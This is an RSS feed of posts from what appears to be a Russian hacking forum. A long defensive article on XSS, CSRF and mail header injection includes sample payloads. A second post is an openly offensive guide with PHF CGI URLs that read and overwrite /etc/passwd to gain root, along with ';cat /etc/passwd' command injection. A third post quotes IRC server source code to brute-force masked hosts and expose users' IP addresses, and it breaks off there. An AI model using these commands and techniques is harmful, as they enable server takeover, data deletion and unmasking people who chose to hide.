предоставить пользователю возможность как-то оформлять свои сообщения: выделять цитаты, менять шрифты, раскрашивать тексты разным цветом, вставлять картинки и таблички, как, к примеру, сделано на LiveJournal. Им приходится разрабатывать и применять алгоритмы частичной очистки HTML.&lt;br /&gt;XSS и BB-коды&lt;br /&gt; Одним из путей являются так называемые BB-коды (Bulletin Board), альтернативные теги, обычно записываемые в квадратных скобках, которые движок сайта потом при отображении заменяет на HTML-аналоги. Набор этих псевдотегов обычно очень ограничен, иногда они даже не могут иметь атрибутов. Либо набор атрибутов также сильно ограничен. Вообще, можно реализовать различные языки разметки, главное, чтобы они четко контролировались разработчиком.Таким образом, положительным моментом BB-кодов является то, что их гораздо легче контролировать, чем HTML (который, к тому же, в разных браузерах может поддерживать разные недокументированные конструкции). Потом, один BB-код может заменяться на целую группу HTML-тегов, оформляя цитату, вставляя ссылку на картинку с предпросмотром ее данных (размера) и т. д. Недостатками BB-кодов является то, что это отдельный язык, который надо изучать пользователям сайта, который может по-разному быть реализован на разных сайтах. Ну и уже готовые HTML-тексты перед публикацией придется переводить с HTML на BB.Но и BB-ориентированные системы могут быть подвержены XSS-атакам, если при их проектировании сделано отступление от идеи написания языка разметки с нуля. Приведу пример: пусть мы тегом&amp;#160; оформляем жирный текст. И при этом разрешаем пользователям с помощью атрибута color менять его цвет. То есть пусть [b color=&amp;quot;red&amp;quot;]...[/b] заменяется на &amp;lt;b style=&amp;quot;color:red&amp;quot;&amp;gt;...&amp;lt;/b&amp;gt;. На первый взгляд все хорошо, однако...&lt;br /&gt; Злоумышленник может в значение атрибута color записать что-то посложнее простого цвета, к примеру, он туда запишет строку «red&amp;quot; onmouseover=&amp;quot;скрипт» или «expression(скрипт)». И, если мы не осуществляем должной фильтрации значения цвета, мы получим скрипт, выполняющийся у посетителей. Хорошей идеей для такой фильтрации будет не вычищать потенциально опасные вещи (к примеру, слово expression или кавычки), а наоборот, пропускать только такие данные, которые являются корректными. В случае с цветом это последовательность латинских букв и цифр, возможно, с символом «#» в начале (т. е., к примеру, регулярное выражение «^[#]?[a-zA-Z0-9]+$». Есть, конечно, в стандарте HTML и другие форматы записи цветов, желающие могут справиться в интернете). Можно пойти дальше, отсеивать, к примеру, цвета, равные или близкие к цвету фона и т. д. Всем этим мы добъемся того, что наш фильтр будет правильно работать и в случае появления поддержки в браузерах каких-то конструкций, которых, возможно, еще и в проекте нет.&lt;br /&gt;XSS и HTML&lt;br /&gt; Бывает, что сайт не может пойти на полный запрет использования HTML-верстки в пользовательских сообщениях. В основном это публичные блоги и &amp;quot;социальные сети&amp;quot;. Огромное количество пользователей самых разных уровней опытности владения компьютером, самые разные нужды при оформлении публикуемых материалов. Можно сделать достаточно полный язык разметки, но нереально заставить пользователей ему научиться.Единственный оставшийся путь — разрешать HTML, но фильтровать в нем все конструкции, подозрительные с точки зрения XSS-уязвимости.Такая фильтрация довольно сложна, ее сложность усугубляется тем, что браузеры допускают значительные вольности при написании HTML-разметки, стилей и скриптов, могут прощать отсутствующие или незакрытые кавычки, кодированные различными алгоритмами символы, лишние пробельные символы и пр. В качестве иллюстрации рекомендую ознакомиться с памяткой по различным способам XSS-атак на сайте ha.ckers.org.Поэтому чистить HTML от вредоносных конструкций следует в несколько этапов, и первый их них — исправление ошибок синтаксиса. Для этого можно воспользоваться, к примеру, валидатором Tidy. Он расставит отсутствующие кавычки, &amp;quot;проэскейпит&amp;quot; содержащиеся в атрибутах спецсимволы вроде угловых скобок, закроет назакрытые теги, перенесет в секцию &amp;lt;head&amp;gt; (которую мы просто отрежем) все, что не имеет права находиться в &amp;lt;body&amp;gt; и т. д.Далее уже следует вычищать комментарии, запрещенные теги, атрибуты и стили.Кроме чисто скриптовых конструкций стоит запретить абсолютное позиционирование в стилях, чтобы не было возможности наложить поддельные кнопки и формы поверх настоящих.Полная же задача определения потенциальной зловредности того или иного текста, как уже упоминалась, довольно громоздка, возможно, я опишу ее отдельной статьей или скриптом. Отдельно упомяну, что XSS-атаку можно провести через вставленный Flash-ролик, для запрета роликам вызывать JavaScript-команды используйте атрибут AllowScriptAccess тега &amp;lt;embed&amp;gt;:&lt;br /&gt; &amp;lt;embed AllowScriptAccess=&#039;never&#039; ... type=&amp;quot;application/x-shockwave-flash&amp;quot;&amp;gt;&amp;lt;/embed&amp;gt;&lt;br /&gt; Проследить за тем, чтобы не использовались иные type, тоже полезно.&lt;br /&gt; Встретил упоминание о XSS через PNG с дописанным в конец текстом в MSIE. Будем надеяться, что оно пропатчено.&lt;br /&gt;XSS и UTF-7&lt;br /&gt; Отдельно стоит упомянуть использование для XSS-атаки скриптов, написанных в кодировке UTF-7. Эта кодировка замечательна тем, что угловые скобки в ней записываются как «+ADw-» и «+AD4-» и, стало быть, пропускаются функцией htmlspecialchars нетронутыми. Если браузер пользователя настроен на автоопределение кодировки, а ни в заголовках, ни на странице в теге &amp;lt;meta&amp;gt; до любого контента не прописано кодировки, браузер, встретив в контенте характерные для UTF-7-кодировки символы, переключится в эту кодировку и выполнит код.Например, у нас на форуме название темы идет в тег &amp;lt;title&amp;gt;, секция &amp;lt;head&amp;gt; документов начинается таким образом:&lt;br /&gt; &amp;lt;title&amp;gt;MegaForum - название темы&amp;lt;/title&amp;gt;&lt;br /&gt; &amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; content=&amp;quot;text/html; charset=windows-1251&amp;quot; /&amp;gt;&lt;br /&gt; Кодировка прописана, но, к сожалению, уже после вывода поступившего от посетителя названия в &amp;lt;title&amp;gt;. И если он, к примеру, назовет тему&lt;br /&gt; +ADw-/title+AD4APA-script+AD4-скрипт+ADsAPA-/script+AD4-&lt;br /&gt; то в результате браузер прочитает и проинтерпретирует код&lt;br /&gt; &amp;lt;title&amp;gt;MegaForum - &amp;lt;/title&amp;gt;&amp;lt;script&amp;gt;скрипт&amp;lt;/script&amp;gt;&lt;br /&gt; Последствия, думаю, очевидны. А вся проблема из-за того, что &amp;lt;meta&amp;gt; с указанием кодировки не стояла перед &amp;lt;title&amp;gt;. И не было указания кодировки в HTTP-залоговке Content-Type.&lt;br /&gt;CSRF: совершение действия от имени пользователя&lt;br /&gt; Атакой CSRF (Cross-Site Request Forgery) называется отправка запроса через браузер пользователя с одного сайта на другой, так что атакуемый сайт исполняет этот запрос, как будто он поступил от пользователя.Лучше попробовать понять принцип этой атаки на примере:Есть сайт A, пусть это форум, на нем зарегистрированные пользователи могут оставлять сообщения. Для отправки сообщения используется обычная HTML-форма с &amp;lt;textarea&amp;gt; и кнопкой &amp;quot;Отправить&amp;quot;.Есть сайт B, в котором сделана копия этой HTML-формы для отправки сообщения, а в атрибуте action у формы прописан адрес сайта А.Теперь, если некто, залогинившись на форуме А и получив сессионную cookie, зайдет на сайт B, заполнит форму там и нажмет &amp;quot;Отправить&amp;quot;, его сообщение пойдет на форум А, словно оно было отправлено не снаружи, а с самого форума. Пользователь-то уже залогинен.Остается только заманить пользователя с форума на сайт B и отправить эту форму автоматически – с помощью JavaScript-метода submit(), к примеру.Первый напрашиващийся способ – проверять поле Referer. Ведь в случае прихода пользователя снаружи, в этом поле будет адрес не форума А, а сайта В.Но этот способ может не быть эффективным, так как это поле не является обязательным и часто передача его браузером блокируется разными программами-антивирусами и антишпионами. Дело тут, правда, такое, что от пользователей можно и требовать обязательного включения передачи Referer, тем более что часто на этом базируется защита от размещения ссылок на ваш контент на чужих сайтах.Есть, однако, и другой способ. Дело в том, что на сайте В смогли сделать копию формы с форума А только потому, что она, эта форма, у всех пользователей была одинакова. Стоит добавить в нее невидимое (type=&amp;quot;hidden&amp;quot;) поле с каким-то уникальным для каждого посетителя параметром, и проверять его при получении этой формы, как мы сможем сказать, что эта форма отправлена с нашего форума А, а не со стороннего ресурса.Еще один способ: спрашивать ввод CAPTCHA при совершении критических действий вроде смены пароля или перевода денег (как сделано в WebMoney).&lt;br /&gt; Ссылки&lt;br /&gt; • Cross-Site Request Forgery – много шума из-за ничего / SecurityLab&lt;/p&gt;
						&lt;p&gt;Отправка email с сайта&lt;br /&gt; Для сокрытия адреса почтового ящика от спамеров часто используются форму обратной связи, информация из которой поступает серверному скрипту, который уже сам отправляет почту адресату по известному только скрипту адресу, к примеру, php-функцией mail.Функция mail позволяет отправлять письмо, указывая ему дополнительные заголовки, в которых можно прописать, в частности, адрес отправителя. В самом деле, почему бы не спросить у отправителя его почтовый адрес, чтобы ему в случае чего сразу отправить ответ через &amp;quot;Reply&amp;quot;.Итак, ловим данные и передаем их в функцию mail (обратный адрес из формы в переменной $sender_email):&lt;br /&gt; mail ($admin_email, &#039;Письмо с сайта&#039;, $message, &amp;quot;From: &amp;quot;.$sender_email);&lt;br /&gt; В чем тут проблема: дело в том, что последний аргумент функции mail представляет собой разделенные символами перевода строки заголовки. Нам кажется, что заголовок один — &amp;quot;From&amp;quot;. Но представим, что хакер написал в качестве обратного адреса такой набор символов:&lt;br /&gt; hacker@site.com&lt;br /&gt; Cc: email@domain.com&lt;br /&gt; Пусть вас не смущает, что данные введены в 2 строки, а в форме отправки для email было однострочное поле, не дающее писать текст в несколько строк. Как уже упоминалось во введении, все данные, поступающие снаружи, можно подделать. Так что данное письмо будет отправлено не только нам, но и на те email-адреса, который хакер укажет в &amp;quot;Cc:&amp;quot; или &amp;quot;Bcc:&amp;quot; (а он их там может указать сотню). И вот получите ситуацию — через нас рассылают спам.Решение очевидно — запрещать отправку писем, если во введенном email-адресе используются символы перевода строки (\n и \r).&lt;br /&gt;Отключение кук (cookie)&lt;br /&gt; Когда автор встречает у кого-нибудь мнение, что отключение cookie в браузере увеличивает безопасность, его не покидает чувство, что наличествует какой-то мировой заговор. Дело в том, что часто cookie используют для хранения идентификатора сессии, который должен передаваться серверу при каждом обращении, чтобы у пользователя не обнулялась корзина, чтобы ему не приходилось вводить логин-пароль после каждого клика по ссылке и т. д. Безопасность обеспечивается тем, что идентификатор обычно довольно длинный и не может быть угадан подбором, т. е. он известен только сайту и нашему компьютеру.При отключении cookie у посетителя сайт (если он не хочет ограничивать такого посетителя) вынужден дописывать идентификатор сессии к ссылкам и формам на страницах. И адреса страниц приобретают вид навроде &amp;quot;.../forum.php?thread=5&amp;amp;SESSION_ID=abc123...&amp;quot;. На первый взгляд ничего страшного в этом нет, но это только на первый взгляд...Во-первых, при клике на внешнюю ссылку тот сайт, на который произошел переход с нашего, получает в запросе поле &amp;quot;Referer&amp;quot; — адрес страницы, с которого произошел переход. А в этом адресе — идентификатор нашей сессии. И заходящий по этой ссылке на наш сайт попадает в чужую сессию со всеми вытекающими.Во-вторых, человеку изначально может быть предложена (прислана, найдена в поисковике, выбрана из кэша прокси) ссылка с идентификатором сессии. И если человек перейдет по ссылке и авторизуется (введет логин и пароль), то любой, кто воспользуется этой же ссылкой, сразу окажется авторизованным под чужим логином.Напрашивающееся решение сохранять в сессии IP-адрес имеет ограничения: некоторые провайдеры могут менять IP-адрес клиентов в течение сессии. Потом, разные компьютеры могут иметь один и тот же IP-адрес, если находятся в одной локальной сети определенного вида. Хотя это и ограничивает круг потенциальных злоумышленников, все равно не очень-то приятно, если нашу почту будет читать коллега или сосед по интернет-кафе.Основная проблема в том, что секретная информация (идентификатор сессии) доверена несекретному хранилищу (адрес страницы). Cookie, же, напротив, устроены таким образом, что сайт может читать только cookie, выставленные им же самим, и не имеет права читать чужие, это базовая функциональность системы безопасности браузеров.Поэтому автором предлагается всемерно пропагандировать полезность (и даже необходимость) работающих cookie, в том числе и путем предупреждения пользователей без оных о невозможности пользоваться сайтами, использующих сессии. И, соответственно, игнорировать сессионные идентификаторы, пришедшие из источников, отличных от cookie.&lt;br /&gt;DOS&lt;br /&gt; Несколько особняком в ряду угроз безопасности стоят атаки DOS — Denial Of Service (отказ в обслуживании). Как правило, к этому классу атак принадлежат события, описываемые в новостях &amp;quot;Хакеры атаковали сайт X, нарушив его работу. Сайт не работал в течение Y часов&amp;quot;. То есть это именно &amp;quot;атака&amp;quot;, а не &amp;quot;взлом&amp;quot;. На сервер производятся запросы, которые он не может (не успевает) обработать, в результате чего он не успевает обработать и запросы обычных посетителей и выглядит для них как неработающий.При желании (и бюджете) можно &amp;quot;завалить&amp;quot; любой сервер. Ограничили количество обращений с одного IP-адреса? Получите DDOS (distributed — распределенный), когда обращения производятся не с одного компьютера, а с тысяч.По-хорошему, борьбой с DOS-атаками должен заниматься провайдер, а не программист сайта. Но и последний может спроектировать сайт и сконфигурировать сервер так, чтобы затруднить атаки на себя.&lt;br /&gt; Во-первых, если сайт не оптимизирован, если для каждого посетителя производятся объемные выборки и расчеты, если сайт генерирует страницы секунду или две, даже простого увеличения посетителей вследствие того, что ссылку на сайт опубликовали в каком-то более-менее посещаемом месте, достаточно, чтобы сервер не справится с возросшей нагрузкой. Что уж говорить о целенаправленной атаке? Оптимизируйте скорость выполнения, объем занимаемой памяти, добавляйте кэширование и т. д.&lt;br /&gt; Во-вторых, сайт может генерировать страницы долго специально, к примеру, таким образом программист думал бороться с взломом его сайта путем подбора пароля. Он считал, что если делать паузу в секунду-две при проверке пароля, это резко замедлит скорость перебора. Скорость это, конечно, замедлит, но также даст возможность недоброжелателю, особо не напрягаясь, сделать на сайт достаточно одновременных запросов, чтобы исчерпать лимит на количество одновременных соединений (а он есть у любого веб-сервера).Лучше сделать ограничение на количество попыток логина с одного IP-адреса в некоторое количество времени. К примеру - не более 5 в 10 минут. При исчерпании показывать сообщение &amp;quot;подождите&amp;quot; или предлагать ввести CAPTCHA. Некоторые системы просят ввести CAPTCHA вообще при каждой попытке логина.&lt;br /&gt; В третьих, сайт может быть выведен из строя путем переполнения его хранилищ потоком информации. К примеру, это доска объявлений, которая позволяет публиковать тексты, не проверяя их на максимальную длину. Или на сайте плохо продумана система кэширования, которую можно &amp;quot;забить&amp;quot; ненужными копиями, варьируя какие-то незначащие параметры у страниц.Но как я уже упоминал, против DOS атаки нельзя защититься на 100%, от самого лучшего танка ничего не останется, если в него попасть баллистической ракетой. Но сколько стоит ракета – и сколько танк.&lt;br /&gt;Кража FTP-паролей&lt;br /&gt; Есть вирусы, которые находят запомненные на зараженных компьютерах FTP-аккаунты и используют их для внедрения вредоносного кода на соответствующие сайты. Как бороться с вирусами, думаю, в интернете море информации.&lt;br /&gt;Переполнение буфера, дыры в серверном ПО&lt;br /&gt; Тут можно посоветовать только одно: регулярно следить за обновлениями и за бюллетенями об уязвимостях для ПО, установленного на сервере.&lt;br /&gt;&amp;quot;Сам себе злобный Буратино&amp;quot;&lt;br /&gt; Ничто не сравнится по разрушительности с атакой изнутри. Причем я не имею в виду &amp;quot;засланных казачков&amp;quot;, т. е. злоумышленников, устроившихся работать в фирме, обслуживающей сайт. Ловля таких &amp;quot;штирлицев&amp;quot; – прерогатива службы безопасности.Я имею в виду то, что иные программисты, стремясь воплотить некоторые нестандартные идеи, кажущимися им весьма удачными и новаторскими, подрывают безопасность своих систем, открывая щели, форточки и двери для атак.Это может быть разработка своих алгоритмов шифрования, на поверку оказывающимися гораздо менее взломостойкими, чем давно известные алгоритмы (в лучшем случае), либо вообще никуда не годными.Это может быть система фильтрации HTML, где убираются только известные программисту теги &amp;lt;script&amp;gt;, а остальное остаётся...Это может быть &amp;quot;гениальная&amp;quot; система замены Register Globals, когда программист через $$var=$_REQUEST[$var] или даже eval(&#039;$&#039;.$var.&#039;=$_REQUEST[&amp;quot;&#039;.$var.&#039;&amp;quot;]&#039;) заводит переменные, пришедшие из запроса, не соображая, что через эту &amp;quot;форточку&amp;quot; можно как минимум попортить имеющиеся переменные (к примеру, &amp;quot;грохнуть&amp;quot; массив $_SERVER). Через eval же можно вообще выполнить произвольный код.Проблемы такого рода обычно имеют место, когда разработкой занимается человек, не освоивший, не изучивший ту область, в которой работает.&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Mon, 19 Mar 2012 19:15:41 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=8#p8</guid>
		</item>
		<item>
			<title>Взлом сайта через браузер Очень действенный</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=7#p7</link>
			<description>&lt;p&gt;Взлом, используя браузер, заключается в получении файла passwd из каталога&lt;br /&gt; /etc. Либо в удалении всего (или части), что имеется на сайте.Когда вы получите&lt;br /&gt; passwd и расшифруете его, то дальше уже надо будет работать с telnet&#039;ом и использовать&lt;br /&gt; exploits. Но это не в этой статье.&lt;/p&gt;
						&lt;p&gt;&lt;strong&gt;Итак, приступим.&lt;/strong&gt;&amp;#160; :glasses: &lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;
						&lt;p&gt; Самый простой способ получить passwd с помощью браузера - это техника PHF.&lt;br /&gt; Т.е. вы в строке адреса набираете: wwwhackzone.ru/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd&lt;br /&gt; Если скрипт phf лежит в каталоге cgi-bin, то он вам выдаст на экран passwd.&lt;br /&gt; %0a - перевод строки. Ну что-то типа нажатия на enter. /bin/cat%20/etc/passwd&lt;br /&gt; - эквиваленто /bin/cat etc/passwd. Запускается программа cat - просмотр содержимого&lt;br /&gt; файла. В данном случае файл passwd в каталоге /etc. Вместо cat, можно поставить&lt;br /&gt; другие команды: ls (список файлов в каталоге), id (ваши права), rm (удалить&lt;br /&gt; файл) и т.п. Сначала лучше запустить id, чтобы поглядеть какие у вас права -&lt;br /&gt; если root, то вам повезло!&lt;br /&gt; Следующий способ - разновидность первого. Если вы обнаружили, что у&lt;br /&gt; вас права root, то можно просто взять passwd и добавить последней&lt;br /&gt; строчкой ваш логин, с правами Root. И потом залить его через FTP в&lt;br /&gt; любой каталог (пусть это будет income). Далее в браузере с помощью ls&lt;br /&gt; ищем полный путь к этому каталогу (допустим он /home/local/ftp/income).&lt;br /&gt; Тогда пишем&lt;br /&gt; wwwhackzone.ru/cgi-bin/phf?Qalias=x%0a/bin/cp%20/home/local/ftp/income/passwd%20/etc/passwd&lt;/p&gt;
						&lt;p&gt; Т.е. мы скопировали наш passwd, на уже существующий! Теперь у нас есть&lt;br /&gt; права Root!!!&lt;/p&gt;
						&lt;p&gt; Следующий способ более сложный. Он заключается в том, чтобы выявить у CGI скриптов&lt;br /&gt; уязвимые места, и использовать их для получения passwd. Т.е. надо сделать так,&lt;br /&gt; чтобы скрипт начал выполнять вашу команду (cat, ls, rm...). Например на сервере&lt;br /&gt; есть скрипт, который отсылает сообщение кому-либо с помощью команды mail (эта&lt;br /&gt; команда позоляет выполнять другие команды!). Тогда в теле письма достаточно&lt;br /&gt; вставить ;cat /etc/passwd и вы увидите passwd, если скрипт не проверяет наличе&lt;br /&gt; таких символов как ;&amp;gt;|&amp;lt; и т.п., то все будет OK! Тоже самое позволяет&lt;br /&gt; делать команда finger.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (moderforum1)</author>
			<pubDate>Mon, 19 Mar 2012 19:12:40 +0400</pubDate>
			<guid>http://hacker.afbb.ru/viewtopic.php?pid=7#p7</guid>
		</item>
		<item>
			<title>Взлом и расшифровка CRC32 100% способ</title>
			<link>http://hacker.afbb.ru/viewtopic.php?pid=6#p6</link>
			<description>&lt;p&gt;Эта статья будет про режим /mode +x в Ирц.. И про то, как же его можно расшифровать? Потому как всегда легче и приятней знать IP собеседника. Мало ли кто там - на другом конце провода?&lt;/p&gt;
						&lt;p&gt; Начнем! Для начала я взял и посмотрел исходники irсd (Rusnet). Для Каждой сети свой метод. Ну чтож - у нас народ пользуется Руснетом. про него и напишем..&lt;br /&gt; Вот они:&lt;/p&gt;
						&lt;p&gt; Код:&lt;br /&gt; if (!IsRusnetServices(sptr))&lt;br /&gt; { /*&lt;br /&gt; ** false data for usermode +x. After really long discussion&lt;br /&gt; ** it&#039;s been concluded to false last three octets of IP&lt;br /&gt; ** address and first two parts of hostname to provide&lt;br /&gt; ** the reasonable compromise between security and&lt;br /&gt; ** channels ban lists. Host.domain.tld is mapped to&lt;br /&gt; ** crc32(host.domain.tld).crc32(domain.tld).domain.tld&lt;br /&gt; ** and domain.tld to crc32(domain.tld).crc32(tld).domain.tld&lt;br /&gt; ** respectively --erra&lt;br /&gt; **&lt;br /&gt; ** some modification there: eggdrop masking compatibility&lt;br /&gt; ** with the same hide availability&lt;br /&gt; ** Let&#039;s say crcsum() is crc32 of complete hostname. Then:&lt;br /&gt; ** a12.b34.sub.host.domain.tld -&amp;gt; crcsum().crc32(sub.host.domain.tld).host.domain.tld&lt;br /&gt; ** a12-b34.sub.host.domain.tld -&amp;gt; crcsum().crc32(sub.host.domain.tld).host.domain.tld&lt;br /&gt; ** comp.sub.host.domain.tld -&amp;gt; crcsum().crc32(sub.host.domain.tld).host.domain.tld&lt;br /&gt; ** a12.b34.host.domain.tld -&amp;gt; crcsum().crc32(b34.host.domain.tld).host.domain.tld&lt;br /&gt; ** a12-b34.host.domain.tld -&amp;gt; crcsum().crc32(crcsum()).host.domain.tld&lt;br /&gt; ** sub.host.domain.tld -&amp;gt; crcsum().crc32(crcsum()).host.domain.tld&lt;br /&gt; ** a12.b34.domain.tld -&amp;gt; crcsum().crc32(b34.domain.tld).domain.tld&lt;br /&gt; ** a12-b34.domain.tld -&amp;gt; crcsum().crc32(crcsum()).domain.tld&lt;br /&gt; ** host.domain.tld -&amp;gt; crcsum().crc32(crcsum()).domain.tld&lt;br /&gt; ** a12.dom2usr.tld -&amp;gt; crcsum().crc32(crcsum()).dom2usr.tld&lt;br /&gt; ** domain.tld -&amp;gt; crcsum().crc32(crcsum()).domain.tld&lt;br /&gt; ** domain. -&amp;gt; crcsum().crc32(domain.crcsum()).domain&lt;br /&gt; **/&lt;br /&gt; char *s = sptr-&amp;gt;sockhost;&lt;br /&gt; char *c = s + strlen(s);&lt;br /&gt; int n = 0;&lt;/p&gt;
						&lt;p&gt; while (c &amp;gt; s)&lt;br /&gt; {&lt;br /&gt; c--;&lt;/p&gt;
						&lt;p&gt; if (*c == &#039;.&#039; &amp;amp;&amp;amp; (++n) == 3) /* 4th dot reached */&lt;br /&gt; break;&lt;/p&gt;
						&lt;p&gt; else if (*c &amp;lt;= &#039;9&#039; &amp;amp;&amp;amp; *c &amp;gt;= &#039;0&#039;)&lt;br /&gt; break;&lt;br /&gt; }&lt;/p&gt;
						&lt;p&gt; if (n) /* hostname second level or above... duh */&lt;br /&gt; {&lt;br /&gt; int len;&lt;/p&gt;
						&lt;p&gt; /* ignore digits in second-level domain part&lt;br /&gt; when there are no minus signs --erra&lt;br /&gt; */&lt;br /&gt; if (c &amp;gt; s &amp;amp;&amp;amp; n == 1)&lt;br /&gt; while (c &amp;gt; s &amp;amp;&amp;amp; *c != &#039;.&#039;) {&lt;br /&gt; if (*c == &#039;-&#039;) {&lt;br /&gt; do c++;&lt;br /&gt; while (*c != &#039;.&#039;);&lt;/p&gt;
						&lt;p&gt; break;&lt;br /&gt; }&lt;br /&gt; c--;&lt;br /&gt; }&lt;br /&gt; else /* *c cannot reach \0 - see above */&lt;br /&gt; while (*c != &#039;.&#039;)&lt;br /&gt; c++;&lt;br /&gt; s = c;&lt;/p&gt;
						&lt;p&gt; while (s &amp;gt; sptr-&amp;gt;sockhost &amp;amp;&amp;amp; *(--s) != &#039;.&#039;);&lt;/p&gt;
						&lt;p&gt; if (*s == &#039;.&#039;) /* s is part for second crc32 */&lt;br /&gt; s++;&lt;/p&gt;
						&lt;p&gt; if (s == sptr-&amp;gt;sockhost) /* it needs crc32(crcsum()) */&lt;br /&gt; s = user-&amp;gt;host;&lt;/p&gt;
						&lt;p&gt; /* finished gathering data, let&#039;s rock */&lt;br /&gt; strcpy(user-&amp;gt;host, b64enc(gen_crc(sptr-&amp;gt;sockhost)));&lt;br /&gt; strcat(user-&amp;gt;host, &amp;quot;.&amp;quot;);&lt;br /&gt; strcat(user-&amp;gt;host, b64enc(gen_crc(s)));&lt;br /&gt; len = strlen(user-&amp;gt;host);&lt;br /&gt; n = len + strlen© - HOSTLEN;&lt;/p&gt;
						&lt;p&gt; if (n &amp;gt; 0) /* overrun protection */&lt;br /&gt; user-&amp;gt;host[len - n] = &#039;\0&#039;;&lt;/p&gt;
						&lt;p&gt; strcat(user-&amp;gt;host, c);&lt;br /&gt; }&lt;br /&gt; else if (c == s) /* are there hosts w/o dots? Yes */&lt;br /&gt; {&lt;br /&gt; strcpy(user-&amp;gt;host, sptr-&amp;gt;sockhost);&lt;br /&gt; #if 0 /* stupid masking, really */&lt;br /&gt; strcat(user-&amp;gt;host, &amp;quot;.&amp;quot;);&lt;br /&gt; strcpy(user-&amp;gt;host, b64enc(gen_crc(user-&amp;gt;host)));&lt;br /&gt; strcat(user-&amp;gt;host, &amp;quot;.&amp;quot;);&lt;br /&gt; strcat(user-&amp;gt;host, b64enc(gen_crc(user-&amp;gt;host)));&lt;br /&gt; strcat(user-&amp;gt;host, &amp;quot;.&amp;quot;);&lt;br /&gt; strcat(user-&amp;gt;host, sptr-&amp;gt;sockhost);&lt;br /&gt; #endif&lt;br /&gt; }&lt;br /&gt; else /* IP address.. reverse search */&lt;br /&gt; {&lt;br /&gt; char *pfx;&lt;/p&gt;
						&lt;p&gt; s = strrchr(user-&amp;gt;host, &#039;.&#039;);&lt;br /&gt; if (!s) {&lt;br /&gt; ircstp-&amp;gt;is_kill++;&lt;br /&gt; sendto_one(cptr,&lt;br /&gt; &amp;quot;:%s KILL %s :%s (Bad hostmask)&amp;quot;, ME, sptr-&amp;gt;name, ME);&lt;br /&gt; sptr-&amp;gt;flags |= FLAGS_KILLED;&lt;br /&gt; return exit_client(NULL, sptr, &amp;amp;me, &amp;quot;Bad hostmask&amp;quot;);&lt;br /&gt; }&lt;br /&gt; *s = &#039;\0&#039;;&lt;br /&gt; DupString(pfx, b64enc(gen_crc(user-&amp;gt;host)));&lt;br /&gt; s = strchr(user-&amp;gt;host, &#039;.&#039;); /* keep 1st octet */&lt;br /&gt; if (!s) {&lt;br /&gt; ircstp-&amp;gt;is_kill++;&lt;br /&gt; sendto_one(cptr,&lt;br /&gt; &amp;quot;:%s KILL %s :%s (Bad hostmask)&amp;quot;, ME, sptr-&amp;gt;name, ME);&lt;br /&gt; sptr-&amp;gt;flags |= FLAGS_KILLED;&lt;br /&gt; return exit_client(NULL, sptr, &amp;amp;me, &amp;quot;Bad hostmask&amp;quot;);&lt;br /&gt; }&lt;br /&gt; strcpy(++s, b64enc(gen_crc(sptr-&amp;gt;sockhost)));&lt;br /&gt; strcat(user-&amp;gt;host, &amp;quot;.&amp;quot;);&lt;br /&gt; strcat(user-&amp;gt;host, pfx);&lt;br /&gt; strcat(user-&amp;gt;host, &amp;quot;.in-addr&amp;quot;);&lt;br /&gt; MyFree(pfx);&lt;br /&gt; }&lt;br /&gt; }&lt;br /&gt; С++! Я его, конечно же, не знаю, но все равно это дает нам стимул копать дальше! то есть из этих исходников вполне понятно, что все шифруется все Алгоритмом crc32..&lt;/p&gt;
						&lt;p&gt; crc(Cyclic Redundancy Code ) - аббревиатура расшифровывается как циклический избыточный код. Этот алгоритм полностью обратим для коротких паролей.. (до 4-х символов) и также частично обратим для всех остальных.&lt;/p&gt;
						&lt;p&gt; Было доказано, что для нахождения коллизии (пароля, контрольная сумма которого будет такая же, как и у оригинального) потребуется не более 7 печатных символов. А для подбора пароля к хэшу потребуется не более минуты..&lt;br /&gt; Из этого мы можем сделать вывод, что алгоритм Cyclic Redundancy Code является частично обратим, чем меньше знаков - тем легче мы можем его расшифровать, а если же как в хосте - то можно сбрутить очень быстро, так как хост шифруется частично в режиме +x! Конечно, можно пуститься в долгие рассуждения, но я постаралась найти брутеры и способы расшифровки crc32.&lt;/p&gt;
						&lt;p&gt; Чем же отличается сrс от сrс32?&lt;/p&gt;
						&lt;p&gt; Рассмотрим на примере &amp;quot;таблицы&amp;quot;, виток каждого цикла составляет 1 байт:&lt;/p&gt;
						&lt;p&gt; &amp;quot;простой&amp;quot; алгоритм(т.е. однобитовый) прост. но так как он работает на битовом уровне, его трудно закодировать (даже в C), а эффективность его низка, так как полный цикл выполняется по биту. Для увеличения скорости работы нам необходимо найти способ заставить алгоритм работать с блоками, большими чем бит. Такими блоками могут быть&lt;br /&gt; полубайты (4 бита), байты, (8 бит), слова (16 бит) и длинные слова (32 бита), и даже более длинные фрагменты, если мы сможем с ними работать. Полубайты не выровнены на границу байта, поэтому нам будет неудобно их использовать, и для увеличения скорости работы с таким алгоритмом нам нужно выравнивание по байтам - большинство алгоритмов работают именно с байтами. И именно по этой причине нам удобнее использовать алгоритм crc32, так как он выровнен по байтам.&lt;/p&gt;
						&lt;p&gt; так как я сама чуть тут не запуталась нарисую небольшой пример такой &amp;quot;таблицы&amp;quot;&lt;/p&gt;
						&lt;p&gt; Вот так примерно все это выглядит, поэтому преимущества crc32 налицо. Но давайте я всеже напишу про ирц.. так как это частично обратимый алгоритм - легче его будет брутить. Я добыла в нечестном бою исходники брутфорса на асме. Это если вдруг понадобится восстановить что-нибудь дболее существенное, чем IP:&lt;/p&gt;
